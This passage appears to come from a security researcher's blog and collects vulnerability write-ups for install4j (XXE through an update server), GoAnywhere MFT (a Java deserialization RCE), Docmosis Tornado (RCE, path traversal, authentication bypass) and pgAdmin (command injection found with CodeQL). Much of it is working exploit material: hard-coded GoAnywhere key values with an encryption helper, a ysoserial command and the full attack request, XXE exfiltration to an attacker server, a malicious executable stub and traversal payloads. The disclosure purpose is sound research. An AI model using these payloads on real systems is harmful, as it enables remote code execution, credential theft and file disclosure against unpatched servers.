    documentBuilderFactory.setValidating(validating);
    DocumentBuilder documentBuilder;
    try {
        documentBuilder = documentBuilderFactory.newDocumentBuilder(); // [5]
    }
    catch (final ParserConfigurationException e) {
        throw createIoException(e);
    }
    if (validating) {
        documentBuilder.setErrorHandler(new ErrorHandler() {
            @Override
            public void error(final SAXParseException exception) throws SAXException {
                log(exception);
            }
            
            @Override
            public void fatalError(final SAXParseException exception) throws SAXException {
                log(exception);
            }
            
            @Override
            public void warning(final SAXParseException exception) throws SAXException {
            }
        });
    }
    if (!downloadExternalEntities) { // [6]
        documentBuilder.setEntityResolver((publicId, systemId) -> {
            if (systemId.startsWith("http:/") || systemId.startsWith("https:/")) { // [7]
                new InputSource(new StringReader(""));
                return;
            }
            else {
                return null;
            }
        });
    }
    try {
        return documentBuilder.parse(inputSource); // [8]
    }
    catch (final SAXException e2) {
        throw createIoException(e2);
    }
}

At [1] a parseFile method is called with a File object containing the response of the update server. This later calls a parse method [2] with the parameter downloadExternalEntities = false from the previous call. At [3] a DocumentBuilderFactory is created with help of com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl at [4]. Then the DocumentBuilder gets instantiated at [5]. It seems some default XXE mitigations were put into place by the downloadExternalEntities member being set to false as mentioned above. This will lead us into the if branch at [6], checking for PUBLIC and SYSTEM identifiers in the XML being parsed. Even though startsWith("http:/") and startsWith("https:/") checks at [7] should take care of preventing disallowed (external) entities and document type declarations, referencing a remote DTD file then being fetched with a HTTP request, this can be easily bypassed by e.g. using UPPERCASE protocol handler definitions such as SYSTEM "HTTP://ATTACKERSERVER/BAD.DTD". Finally, the dangerous sink at [8] is called. Additionally other file protocol handlers such as file:// or jar:// are not taken into account, yet. Note that the EntityResolver protection given by OWASP XXE Mitigations is more restrictive and should have been the way to go.

PoC based on “Prosys OPC UA Simulation Server”

Since this vulnerability in install4j was found during a security review on another product, the proof-of-concept (PoC) exploitation will be shown for the Prosys OPC UA Simulation Server on Windows (it was the first download link tbh). install4j takes care of proper TLS/SSL handling + verification of the update server in com/install4j/runtime/installer/helper/content/UrlConnectionWrapper. But in general, several cases allow an easy hijack of the update server communication:

The product chooses to use HTTP instead of HTTPS connections
The acceptAllCertificates attribute is set to true in the install4j configuration file such that TLS/SSL verification gets deactivated with help of the install4j method private Runnable acceptAllCertificates()
A central TLS/SSL inspection component would break the trusted chain of verification depending on its (mis)configuration (already seen “in-the-wild” :-P)
There exist other cases but this is not the main purpose of this blog post to list them all

Note that this hijacking part is not a vulnerability in install4j itself but depends on certain configurations of install4j and server infrastructure on the affected product side, respectively. Nevertheless, this is a valid attack vector and should not lead to a vulnerable sink indeed existing in install4j: the XXE described above. Hijacking requests/responses is often an easy task for attackers today by impersonating the update server. In our case, a Windows server is attacked first with help of the tool mitm6. Windows prefers IPv6 configurations over IPv4 which means that DHCPv6 questions into the local network could be answered by a malicious instance, allowing to hijack the DNS server configuration on Windows. Then the update server hostname could be set to the attacker machine IP address so that afterwards all traffic between the client and update server flows in an attacker-controlled manner. There are other attacks such as ARP-poisoning etc. which would be valid attack vectors for installations on *nix operating systems, too.

In the case of Prosys OPC UA Simulation Server, the update server is defined in the file C:\Program Files\ProsysOPC\Prosys OPC UA Simulation Server\.install4j\i4jparams.conf to be . So the DNS entry on the Windows server will be modified such that the hostname downloads.prosysopc.com points to the IP address of the attacker machine . If the Prosys OPC UA Simulation server now checks for updates automatically, a request to https://downloads.prosysopc.com/opcua/updates/SimulationServer/v5/updates.xml will be sent. Note that the Prosys product is not vulnerable to common ways of DNS hijacking such that a fake TLS/SSL inspection component has to be introduced for this PoC to work. Other products using install4j might indeed be exploitable this way without any special pre-conditions. Pretty sure you can find one or two.

The following XML content will be delivered then by our attacker server:

&send;
 baseUrl="">
   targetMediaFileId="1116" updatableVersionMin="" updatableVersionMax="" fileName="prosys-opc-ua-simulation-server-windows-x86-5.4.2-129.exe" newVersion="5.4.2-129" newMediaFileId="1116" fileSize="90175568" md5Sum="45b8dddf7e664d044a8441730d50a01b" sha256Sum="cb5e54b44b2b206be483cbf0d05d5acf91f23a59b9be407576828b81cf204ebf" bundledJre="windows-x86-17.0.5.tar.gz" archive="false" singleBundle="false">
     language="en" />
  

The XXE payload can be found at the very beginning:

&send;

This will fetch the DTD file remotely from the same update server with the following content:

">
%all;

secret.txt is a PoC file created by me to show that e.g. file content could then be retrieved from the attacked server.

Other XXE attack vectors are possible as well. Since this is a Windows system, we could create XXE payloads with file:// protocol handlers. Defining a remote network share could then lead to leakage of hashed Windows server credentials (NetNTLM hash). These hashes could be cracked (or relayed) and used to directly login into the victim machines etc.

&send;

There are even more attack vectors by using the jar:// protocol handler, fetching a remote JAR file with attacker-controlled arbitrary file content (it even doesn’t have to be a JAR file). This is a variant of arbitrary file upload and could be used in further exploitation steps, depending on the specific target. For a beautiful chain read this blog post for example.

“Well”, you might say, “if you already control the update server response content, simply deliver a malicious update file”. True but I love 0-click attacks and one would have needed user interaction to install the malicious file.

Patch Recommendation

The EntityResolver part will be modified in version 10.0.5 shortly, i.e. for any protocol handler this is a dead end now. Especially worth mentioning, this was my best vendor experience for years. A good start for 2023 after a painful 2022. They answered my “support ticket” within hours and their first response already contained fixing suggestions.

GoAnywhere MFT - A Forgotten Bug

2023-02-06T00:00:00+00:00

Déjà-vu

It all began with a toot by Brian Krebs on 2nd February, 2023, providing information on an “On Prem Notification/Technical BulletinFeb 1, 2023”. This advisory was only accessible by registered users, describing a upcoming threat originated from an 0day affecting the file transfer solution product GoAnywhere MFT. Nice, because I remembered looking at parts of it years ago: 2021 too be more precise. During my first steps of security code review on GoAnywhere then, I got interested in a clustering message exchange library JGroups and did some research showing insecure deserialization effects. A “JGroups PoC project” of this work can be found in my GitHub repository.

Well then, looking at the GoAnywhere security advisory again, there were some temporary mitigations listed. One should modify the web descriptor file [install_dir]/adminroot/WEB_INF/web.xml and delete a certain Servlet definition with its corresponding URL mapping: com.linoma.ga.ui.admin.servlet.LicenseResponseServlet. Wait a minute: I checked my notes from 2021 and found this.

Indeed, back in 2021 I already made some notes on a dangerous sink which will become relevant in the blog post. FTAPI mentioned in the snippet above had an insecure deserialization bug prior to version 4.6.3 in a LicenseController class, leading to Remote Code Execution (RCE). This to me was the same kind of bug in GoAnywhere MFT but it was the administration console: I couldn’t find many instances on the Internet in 2021. What I didn’t know: JGroups. So I focused on that and forgot about the other things in my notes…until today (2nd February, 2022).

I could provide a working PoC (compare hash and time of my tweet) to my teammates within hours on the same day to protect our clients first. But now let’s go the Code Review part.

Code Review

In my case, I chose the Windows installation to get the latest version 7.1.1 at that time. It doesn’t really matter which operating system since it’s all based on Java. The installation location: C:\Program Files\HelpSystems\GoAnywhere. The web.xml from the security advisory in the adminroot directory indeed contained the Servlet definition and URL mapping.

    		
    License Response Servlet
    		
    com.linoma.ga.ui.admin.servlet.LicenseResponseServlet
    		
    0
    	
    License Response Servlet
    		
    /lic/accept

Let’s dive into the code. The com.linoma.ga.ui.admin.servlet.LicenseResponseServlet extends HttpServlet as expected. Requests are processed by different standard methods such as com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost(HttpServletRequest, HttpServletResponse) in our case.

public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
  String str1 = paramHttpServletRequest.getParameter("bundle"); // [1]
  
  Response response = null;
  
  try {
    response = LicenseAPI.getResponse(str1); // [2]
  } catch (Exception exception) {
    LOGGER.error("Error parsing license response", exception);
    paramHttpServletResponse.sendError(500);
  } 
  
  paramHttpServletRequest.getSession().setAttribute("LicenseResponse", response);
	// ...

At [1] the request parameter bundle is stored in the String str1 and put into the method call at [2]. Fromcom.linoma.license.gen2.LicenseAPI.getResponse(String) we follow further into com.linoma.license.gen2.LicenseController.getResponse(String).

protected static Response getResponse(String paramString) throws BundleException, JAXBException {
  String str1 = getVersion(paramString); // [3]
  String str2 = BundleWorker.unbundle(paramString, getProductKeyConfig(str1));
  return (Response)inflate(str2, Response.class);
}

First, we step into the method definition at [3] getVersion in the same class.

protected static String getVersion(String paramString) {
  int i = paramString.indexOf('$');
  if (i > -1) {
    null = paramString.substring(i + 1);
    null = null.replace("\r", "");
    return null.replace("\n", "");
  } 
  
  return "1";
}

This seems to be a version differentiation of some kind based on the fact if our bundle parameter contains a $ character or not. Let’s say “no” (we can change our assumptions later any time if needed). 1 will be returned then.

Back to our caller and the next code line leads us to another method BundleWorker.unbundle(paramString, getProductKeyConfig(str1)). getProductKeyConfig looks like this:

private static KeyConfig getProductKeyConfig(String paramString) throws BundleException {
  KeyConfig keyConfig = new KeyConfig();
  inputStream = null;
  try {
    String str = "";
    if ("2".equals(paramString)) { // [4]
      str = "1";
    }
    
    inputStream = LicenseController.class.getResourceAsStream("linomagen2.bcks");
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    IOUtils.copy(inputStream, byteArrayOutputStream);
    keyConfig.setKeyStore(byteArrayOutputStream.toByteArray());
    
    keyConfig.setSigningAlias("productkey" + str);
    keyConfig.setVerifyingAlias("serverkey" + str);
    keyConfig.setPassword("G@mft2018".toCharArray()); // [5]
    keyConfig.setVersion(paramString);
    keyConfig.setKeyStoreType("BCFKS");
    return keyConfig;
	  // ...

Nothing too interesting here: [4] makes again some version differentiation stuff and at [5] hard-coded passwords are defined for a key-store. Does GoAnywhere like hard-coded keys? Let’s keep this in mind.

Now we enter something familiar (see my note in the introductory chapter): com.linoma.license.gen2.BundleWorker.unbundle(String, KeyConfig).

protected static String unbundle(String paramString, KeyConfig paramKeyConfig) throws BundleException {
  try {
    if (!"1".equals(paramKeyConfig.getVersion())) {
      paramString = paramString.substring(0, paramString.indexOf("$"));
    }
    
    byte[] arrayOfByte = decode(paramString.getBytes(StandardCharsets.UTF_8)); // [6]

    arrayOfByte = decrypt(arrayOfByte, paramKeyConfig.getVersion()); // [7]

    arrayOfByte = verify(arrayOfByte, paramKeyConfig); // [8]

    return new String(decompress(arrayOfByte), StandardCharsets.UTF_8);
	  // ...

The method at [6] performs a Base64 decoding step. At [7] the byte array should be decrypted. How does decrypt look like?

We land in com.linoma.license.gen2.LicenseEncryptor.decrypt(byte[], String).

public byte[] decrypt(byte[] paramArrayOfByte, String paramString) throws CryptoException {
  if (!this.initialized) {
    throw new IllegalStateException("The License Encryptor has not been initialized");
  }
  if ("1".equals(paramString)) {
    if (this.encryptor == null) {
      throw new CryptoException("License Encryptor version 1 not available in FIPS mode.");
    }
    return this.encryptor.decryptToBytes(paramArrayOfByte); // [9]
  } 
  return this.encryptorV2.decryptToBytes(paramArrayOfByte);
}

Remember the version differentiator? Since we control this, the decryption routine at [9] will be called (in case your not FIPS addicted). Finally, in com.linoma.security.core.crypto.StandardEncryptionEngine.decrypt(byte[]), a decryptionCipher.doFinal(paramArrayOfByte) call decrypts the byte array. But as you might know, also in Java Crypto API one has to initialize the Crypto engine properly, same for thecom.linoma.security.core.crypto.StandardEncryptionEngine.decryptionCipher class member. Using Eclipse’s “Call hierarchy” shortcut gives us the following tree, hitting the method com.linoma.license.gen2.LicenseEncryptor.initialize(boolean).

public void initialize(boolean paramBoolean) throws Exception {
  if (!paramBoolean) {
    this.encryptor = new Encryptor(new StandardEncryptionEngine(getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding")); // [10]
  }
  this.encryptorV2 = new Encryptor(new StandardEncryptionEngine(getInitializationValueV2(), IV, "AES", "AES/CBC/PKCS5Padding"));
  this.initialized = true;
}

At [10], the Cipher parameters are set. What about this initialization vector? private static final byte[] IV = { 65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100 }; looks pretty “static”, alright. What about the secret key? Let’s look into com.linoma.license.gen2.LicenseEncryptor.getInitializationValue().

private byte[] getInitializationValue() throws Exception {
  byte[] arrayOfByte1 = { 103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101, 110, 115, 101, 80, 64, 36, 36, 119, 114, 100 };

  
  byte[] arrayOfByte2 = { -19, 45, -32, -73, 65, 123, -7, 85 };
  char c1 = '┿';
  char c2 = 'Ā';
  
  SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
  PBEKeySpec pBEKeySpec = new PBEKeySpec((new String(arrayOfByte1, "UTF-8")).toCharArray(), arrayOfByte2, c1, c2);
  SecretKey secretKey = secretKeyFactory.generateSecret(pBEKeySpec);
  return secretKey.getEncoded();
}

The code speaks for itself. Hard-code all the things!

Ok, back to com.linoma.license.gen2.BundleWorker.unbundle(String, KeyConfig). Now, we’re probably able to provide a request parameter which could be properly decrypted as well. Next, step would be the call to com.linoma.license.gen2.BundleWorker.verify(byte[], KeyConfig).

private static byte[] verify(byte[] paramArrayOfByte, KeyConfig paramKeyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException {
  objectInputStream = null;
  try {
    String str = "SHA1withDSA";
    if ("2".equals(paramKeyConfig.getVersion())) {
      str = "SHA512withRSA";
    }
    PublicKey publicKey = getPublicKey(paramKeyConfig);
    objectInputStream = new ObjectInputStream(new ByteArrayInputStream(paramArrayOfByte));
    SignedObject signedObject = (SignedObject)objectInputStream.readObject(); // [11]
    Signature signature = Signature.getInstance(str);
    boolean bool = signedObject.verify(publicKey, signature);
	  // ...

Long story short: [11] calls ObjectInputStream.readObject, the best known sink to insecure deserialization. The one sink mentioned in my notes in 2021.

But deserialization doesn’t automatically mean RCE or similar kind of critical vulnerabilities. Some products have heavy hierarchies of well-defined Spartan-like class loaders, basically not giving you any attack vectors. Several SAP products are a really good example for this “issue”.

Looking to the lib folder containing all the JARs files used by GoAnywhere

activation-1.1.1.jar
agent-commons-3.0.0.jar
apache-mime4j-core-0.7.2.jar
aws-java-sdk-cloudfront-1.12.272.jar
aws-java-sdk-core-1.12.272.jar
aws-java-sdk-kms-1.12.272.jar
aws-java-sdk-s3-1.12.272.jar
aws-java-sdk-sts-1.12.272.jar
azure-keyvault-core-0.8.0.jar
azure-storage-5.5.0.jar
batik-all-1.15.jar
bc-fips-1.0.2.3.jar
bcmail-fips-1.0.4.jar
bcpg-fips-1.0.7.1.jar
bcpkix-fips-1.0.7.jar
bctls-fips-1.0.14.jar
bsh-2.0b6.jar
checker-qual-3.12.0.jar
commons-beanutils-1.9.4.jar
commons-codec-1.15.jar
commons-collections-3.2.2.jar
commons-collections4-4.4.jar
commons-compress-1.21.jar
commons-configuration-1.10.jar
commons-dbcp-1.3.jar
commons-digester-2.1.jar
commons-exec-1.3.jar
commons-fileupload-1.4.jar
...

makes the security researcher’s heart beat faster. A table of gifts. I’m a fan of the ysoserial gadget CommonsBeanutils1. But we need some custom code to build our final payload first. Remember? The encryption/decryption part.

public class CryptorHelper {

	public static void main(String[] args) throws Exception, Exception {
		final byte[] IV = { 65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100 };

		StandardEncryptionEngine see = new StandardEncryptionEngine(getInitializationValue(), IV, "AES",
				"AES/CBC/PKCS5Padding");

		Path path = Paths.get("/home/user/tmp/mspaint.bin");
		byte[] data = Files.readAllBytes(path);

		System.out.println("[+] Encrypted: " + new String(Base64.encodeBase64(see.encrypt(data)), "UTF-8"));

	}

	private static byte[] getInitializationValue() throws Exception {
		byte[] arrayOfByte1 = { 103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101, 110, 115, 101, 80,
				64, 36, 36, 119, 114, 100 };

		byte[] arrayOfByte2 = { -19, 45, -32, -73, 65, 123, -7, 85 };
		char c1 = '┿';
		char c2 = 'Ā';

		SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
		PBEKeySpec pBEKeySpec = new PBEKeySpec((new String(arrayOfByte1, "UTF-8")).toCharArray(), arrayOfByte2, c1, c2);
		SecretKey secretKey = secretKeyFactory.generateSecret(pBEKeySpec);
		return secretKey.getEncoded();
	}
}

We simply have to reuse the information gathered before, namely hard-coded keys and usage of Crypto API parameters. The serialized Java object created before with ysoserial goes into the file /home/user/tmp/mspaint.bin and the final encrypted Base64-encoded payload is printed to standard out.

First things first: java -cp /home/user/MFT/lib/commons-beanutils-1.9.4.jar:./ysoserial-master-SNAPSHOT.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /K mspaint" > mspaint.bin.

Why didn’t I call java -jar ysoserial.jar instead? Because I wanted to make sure that the proper commons-beanutils-X.Y.Z.jar is used, the one provided in GoAnywhere’s lib directory. Class path order takes care of choosing the proper JAR even though another BeanUtils JAR is included in the ysoserial JAR itself. We don’t want to have any issues with mismatches of serialVersionUIDs, do we?

Now, let’s run the CryptoHelper: [+] Encrypted: Jh88/jqGQWSbZmiCc1DErQhwOhCTLkYmA1yXgf86Ha5HF9IfVuQMLOfBS/fjlP7wTTEg2+Jx9nBDyFUKVTroXpFBt7zN1XDX58VKZCxCXlUD45d4laUUnNuzdyvNLT2b/...... Looks good!

PoC

The final request is built like this

POST /goanywhere/lic/accept HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3821

bundle=Jh88/jqGQWSbZmiCc1DErQhwOhCTLkYmA1yXgf86Ha5HF9IfVuQMLOfBS/fjlP7wTTEg2%2bJx9nBDyFUKVTroXpFBt7zN1XDX58VKZCxCXlUD45d4laUUnNuzdyvNLT2b/gYKBi2%2bny7fc2lOHNgalYV13mQzCTs0EgEUE9AuDUIMcFYx00pv4g4EOgEjeWbAx40rTt....

and sent to our lab machine: RCE.

Using 0days to Protect the United Nations

2023-01-24T23:00:00+00:00

Recently, I did a non-exhaustive security product review on a Document Generator Engine, named Docmosis. A system I targeted used Docmosis Tornado in its latest version 2.9.4. I’ll give you a walkthrough based on my local lab installation with a Proof-of-Concept exploitation on an on-premises system belonging to a specialized agency of the United Nations.

By default, no login is needed to access the web UI :-0. But as we’ll see, even if the password protection is enabled/configured, there is an Authentication Bypass which makes all these findings exploitable from an unauthenticated context as well. But let’s go through all the findings step by step.

Remote Code Execution

This first vulnerability relies on the fact that the web UI field “Open/Libre Office location” can be changed, pointing to the LibreOffice installation directory. All configuration changes are persisted after the corresponding GWT-based HTTP POST request is sent to /webserverdownload/configure. The corresponding URL mapping can be found in the web descriptor web.xml.

  ConfigurationServlet
  /webserverdownload/configure

...

  ConfigurationServlet
  com.docmosis.webserver.server.ConfigurationServiceImpl

The responsible Java interface extends com.google.gwt.user.server.rpc.RemoteServiceServlet, finally leading to the implementing class com.docmosis.webserver.server.ConfigurationServiceImpl. The method com.docmosis.webserver.server.ConfigurationServiceImpl.saveConfiguration(ConfigBean) is called then with the parameters given in the request. There exists a validation method com.docmosis.webserver.server.ConfigurationServiceImpl.serverSideValidate(ConfigBean) which checks access to the Office location directory.

String[] expectedFolders = DMProperties.getStringArray("docmosis.openoffice.location.binary.searchpath", ";");
boolean subFolderFound = false;
for (String expected : expectedFolders) {
  File subFolder = new File(officePathFile, expected);
  if (subFolder.canRead() && subFolder.isDirectory()) {
    subFolderFound = true;
    
    break;
  } 
} 

The expectedFolders member seems to be used to check for expected folders matching a valid Office installation. The same is done for the Template directories etc. No further validations with respect to security are done. On a standard Windows installation, an UNC network share path could be used to point the Office directory to a remote host. The Office executable soffice.exe is used for converter functions etc. and therefore is observable in the process tree of Docmosis Tornado after being started.

Now, changing the Open/Libre Office location value to a remote network share path allows to load an arbitrary malicious .exe file named soffice.exe instead. After a restart of Docmosis Tornado, this would be fetched and executed, allowing an attacker to executing arbitrary code on the targeted machine. This already is a critical vulnerability in itself but requires user interaction on the server-side for the restart. The web UI does not provide any restart functions. Looking again at the GWT service implementation, we find the method com.docmosis.webserver.server.ConfigurationServiceImpl.restartServer() which indeed allows exactly this via a properly crafted GWT HTTP request. This makes the user interaction restriction obsolete. To following steps have to be taken to prove the Remote Code Execution (RCE).

We create a “malicious” soffice.exe file with a C cross compiler with the following code underneath.

void main()
{
	system("cmd.exe /C calc");
}

We mimick the directory/file structure of a valid LibreOffice installation on our remote attacker server.
We provide a fake SMB server with help of the impacket suite.
We change the Office location in the web UI pointing to this server \\10.137.0.16\myshare\LibreOffice.

We observe NTLM authentication on our fake SMB server.

We trigger the restart of the Tornado service and got code execution, i.e. our malicious soffice.exe got executed, popping a Windows calculator.

Since the targeted server uses NTLM authentication to login to the attacker’s fake SMB server, this could of course be used to capture the NetNTLM hash. This hash could be cracked offline, so finally an attacker would have had valid Windows credentials to access the server via other channels.

Multiple Path Traversals - File Read

In general, no proper validation of file system operations with respect to traversal attacks can be found. This allows various attack vectors leading to file disclosure out of the context directories specified within the Tornado application.

Restricted File Read

First, we show a file read primitive with a few restrictions for the attacker. The “Source Templates From” directory is set to C:\Users\user\Desktop\templates in our lab environment.

Using the function “Creating dummy data based on template” in the web UI fills the Data text field automatically so afterwards we can click the Test button to create e.g. a PDF file. Next to our templates directory, mentioned above, we put a file with fake secret data C:\Users\user\Desktop\secretfolder\secret.txt. Now the request is intercepted and a path traversal payload injected into the template reference path.

Indeed, the generated document contains the content of the secret file: a file located at a completely different folder than C:\Users\user\Desktop\templates.

This seems at least be restricted to certain file types but nevertheless is a juicy vulnerability.

Full File Read

The most dangerous path traversal vulnerability originates from the service call to /fetch?filename=[SOME_NAME].pdf. This is called after we generated the PDF file above to automatically download the file content from the server.

The corresponding implementation can be found in com.docmosis.webserver.servlet.FetchTmp.doGet(HttpServletRequest, HttpServletResponse). The filename request parameter is used within a String concatenation to retrieve the file.

filename = request.getParameter("filename");
filename = System.getProperty("java.io.tmpdir") + "/" + filename;

This allows an attacker to again introduce relative path segments, giving access to arbitrary files on the server file system. Here, we show reading the file C:\Windows\win.ini.

Authentication Bypass

Even though, the default installation does not require an Admin password being set, the web UI indeed provides a configuration field. To test this, we set a password, clicked the logout button and indeed are redirected to the login page.

Also our full file read vulnerability now cannot be exploited anymore from an unauthenticated content (still exploitable as authenticated user, though).

Looking at the web descriptor file web.xml reveals that an authentication filter is set in place for all URI paths.

	AuthenticatedCheckFilter
	/*
 

Every request has to go through the Java Servlet filter com.docmosis.webserver.servlet.AuthenticatedCheckServlet.doFilter(ServletRequest, ServletResponse, FilterChain). Surprisingly, the authentication check can be bypassed to reach the final chain.doFilter(request, response) call. Responsible for this is the following code path:

if (!authenticated) // [1]
{
  if (!isRestCall) { // [2]



    
    WebServerPreferences prefs = WebServerPreferencesStore.getPrefs();
    boolean authenticationRequired = !StringUtilities.isEmpty(prefs.getAdminPassword());
    
    if (authenticationRequired) { // [3]
      
      if (isGWTRPCCall) {
        
        ((HttpServletResponse)response).sendError(401); return;
      } 
      if (!this.authPostUrl.equals(req.getRequestURI())) {
        
        RequestDispatcher rd = req.getRequestDispatcher("/authenticate.jsp");
        rd.forward(request, response);

        
        return;
      } 
    }
} 

At [1], it is properly checked if the user is already authenticated. If not, the if branch is entered. If this request is not part of a REST call [2] and an Admin password is set [3], then access is denied. The problem now relies in the check if isRestCall is true/false.

boolean isRestCall = req.getRequestURI().startsWith("/api/")

Our path traversal attack e.g. /fetch?filename=../../../../../Windows/win.ini indeed does not start with /api but at this point of HTTP request processing, a simple bypass is possible due to using the startsWith String method. Using an URI path with relative path segments like /api/../fetch?filename=../../../../../Windows/win.ini bypasses the authentication check and triggers the file read primitive again.

Internet Exposure Check

These findings were shared with the vendor and they released version 2.9.5 to address these issues (I did not validate the patches, though). Checking the exposure rate of this software on the public Internet, one of the systems found was [REDACTED].upu.int. Even though, this instance was not using the latest version, the same vulnerabilities still worked fine.

As it turned out, this system belongs to the Universal Postal Union (UPU), a specialized agency of the United Nations (UN). Additionally, this system seemed to be part of the official UPU network, i.e. no cloud-hosted instance but rather an entry point to the network of UPU.

The system exposed a web UI of Docmosis Tornado with default configurations, i.e. no authentication needed at all. Even if authentication would have been needed, we already found an Authentication Bypass.

To prove the system to be vulnerable, we read the content of C:\Windows\win.ini and provided the report as quickly as possible.

Acknowledgements

Many thanks to Carlos from UNICC to forward my requests to UPU quickly. Also the Docmosis team communicated fast and professionally.

P.S.: I’m pretty sure there’re more vulnerabilities in this product. Go, practice and responsibly disclose issues to the Docmosis team. Maybe you’ll find a deserialization vulnerability somewhere *hint*.

Pre-Auth RCE with CodeQL in Under 20 Minutes

2022-12-02T08:00:00+00:00

This write-up won’t be an intense discussion on security code review techniques this time. We’ll simply let do all the hard work by a third party: CodeQL.

Our target? pgAdmin. Or to be more precise, the web interface if you run pgAdmin in server mode. For the ones of you who don’t know pgAdmin yet, have a look at their website.

pgAdmin is the most popular and feature rich Open Source administration and development platform for PostgreSQL, the most advanced Open Source database in the world.

This statement from their website is true, indeed. I used this tool already many years ago in my software development career path. But I didn’t know that it’s possible to run this “client” program in a kind of server mode. Maybe you’ve already seen these kinds of login screens somewhere?

There is a nicely written introduction by the pgAdmin team on how to setup such a server quickly.

pgAdmin may be deployed as a web application by configuring the app to run in server mode and then deploying it either behind a webserver running as a reverse proxy, or using the WSGI interface.

Alright then: we know how to setup this kind of thing and also that’s it’s quite common to find these on the public Internet (and Intranet I guess).

Since I’m looking at many different products on a daily basis at work, sometimes different approaches are needed to get a first idea on the degree of “resilience” with respect to vulnerability discovery. One of my many approaches takes into account CodeQL, a “semantic code analysis engine”. I don’t want to try giving you a proper introduction into CodeQL (I don’t think I can) but rather give you a step-by-step tutorial on how this was used for attacking the pgAdmin code.

CodeQL needs a database containing the code in a structured format depending on the targeted language. For Java e.g. one has to let the CodeQL engine be part of your compilation process. Looking at the pgAdmin GitHub project, we spot the main language being Python. Luckily, CodeQL supports this language as well. Since https://lgtm.com/ will be shut down this month, fetching ready-to-go CodeQL databases from this platform won’t be an option anymore. But good for us, the CodeQL team provides a ton of great documentation such as one for creating such databases. I love to look at code with Visual Studio Code which has a support for the CodeQL engine!

So let’s install the extension first.

A new button on the left side of your sidebar will appear named QL. Next we fetch the latest version 6.16 of pgAdmin (at the time of the vulnerability discovery) from the GitHub project. We immmediately recognize the web directory with multiple Python files, part of the web application we’ll talk about later.

If your installation of the CodeQL extension finished properly, you’ll find the CodeQL CLI file at some location like $HOME/.config/Code/User/globalStorage/github.vscode-codeql/distribution2/codeql/codeql. Executing this file will give you the help. Set an alias, adjust your .bashrc or whatever fits your comfort needs.

Usage: codeql <command> ...
Create and query CodeQL databases, or work with the QL language.
...

You’re all set to create your CodeQL database now!

$ codeql database create pgadmincodeql --language=python
Initializing database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Running build command: []
...
Finalizing database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Successfully created database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql

And indeed the new directory pgadmincodeql was successfully created. Easy, wasn’t it? Now, we’ve to bring this database into our VS Code workspace using the QL menu.

Choose the newly created folder and the database will appear in VS Code magically. Then you’ve to set it as default by clicking on it until a grey mark is shown. You’re ready to use the database!

Before we can execute cool CodeQL queries, the gifts from the busy GitHub CodeQL team/community is needed. So clone the official CodeQL GitHub repository into your workspace. Ready to find the Pre-Auth Remote Code Execution (RCE) with just a few clicks?

Find the flaw - CodeQL

So I didn’t lie on finding the flaw in under 20 minutes. This included downloading the pgAdmin source, installing the VS Code extension, creating the CodeQL database, cloning the CodeQL GitHub repository and starting only one pre-built CodeQL query.

So, we imported the CodeQL database into our VS Code workspace. Now let’s get straight to the meat without even going to do any application mapping and other useful things typically expected during a security code review.

In the VS Code Explorer, the CodeQL GitHub project is visible and we drill down to codeql/python/ql/src/Security. There you’ll find all the crazy stuff people did to provide intelligent queries against your database. We’re especially interested in queries which

Allow to cover a lot of dangerous sinks at once.
Include the tainted analyses spirit, i.e. instead of “just” showing potential dangerous sinks, also give us information if and how a sink can be reached from a reachable source.

codeql/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql will be a good start. Let’s try this by opening this file and then simply hit CodeQL: Run query. This will take some time, grab a coffee…are you back? Let’s see what the result was.

Wow, that’s a lot of stuff! Since you might know me from former blog posts: I’m lazy, i.e. often searching for the most obvious attack path first.

The subprocess.getoutput( ) sink perfectly matches my taste.

Indeed, CodeQL did a great job. It “realized” that the request from the flask Python library is used here. This is used all over the code to e.g. read from request.data and doing stuff with it. Let’s have a closer look to the sink function.

@blueprint.route("/validate_binary_path",
                 endpoint="validate_binary_path",
                 methods=["POST"]) # [1]
def validate_binary_path():
    """
    This function is used to validate the specified utilities path by
    running the utilities with there versions.
    """
    data = None
    if hasattr(request.data, 'decode'):
        data = request.data.decode('utf-8')

    if data != '':
        data = json.loads(data)

    version_str = ''
    if 'utility_path' in data and data['utility_path'] is not None: # [2]
        # Check if "$DIR" present in binary path
        binary_path = replace_binary_path(data['utility_path']) # [3]

        for utility in UTILITIES_ARRAY: # [4]
            full_path = os.path.abspath(
                os.path.join(binary_path,
                             (utility if os.name != 'nt' else
                              (utility + '.exe')))) # [5]

            try:
                # Get the output of the '--version' command
                version_string = \
                    subprocess.getoutput('"{0}" --version'.format(full_path)) # [6]
                # Get the version number by splitting the result string
                version_string.split(") ", 1)[1].split('.', 1)[0]
                ...

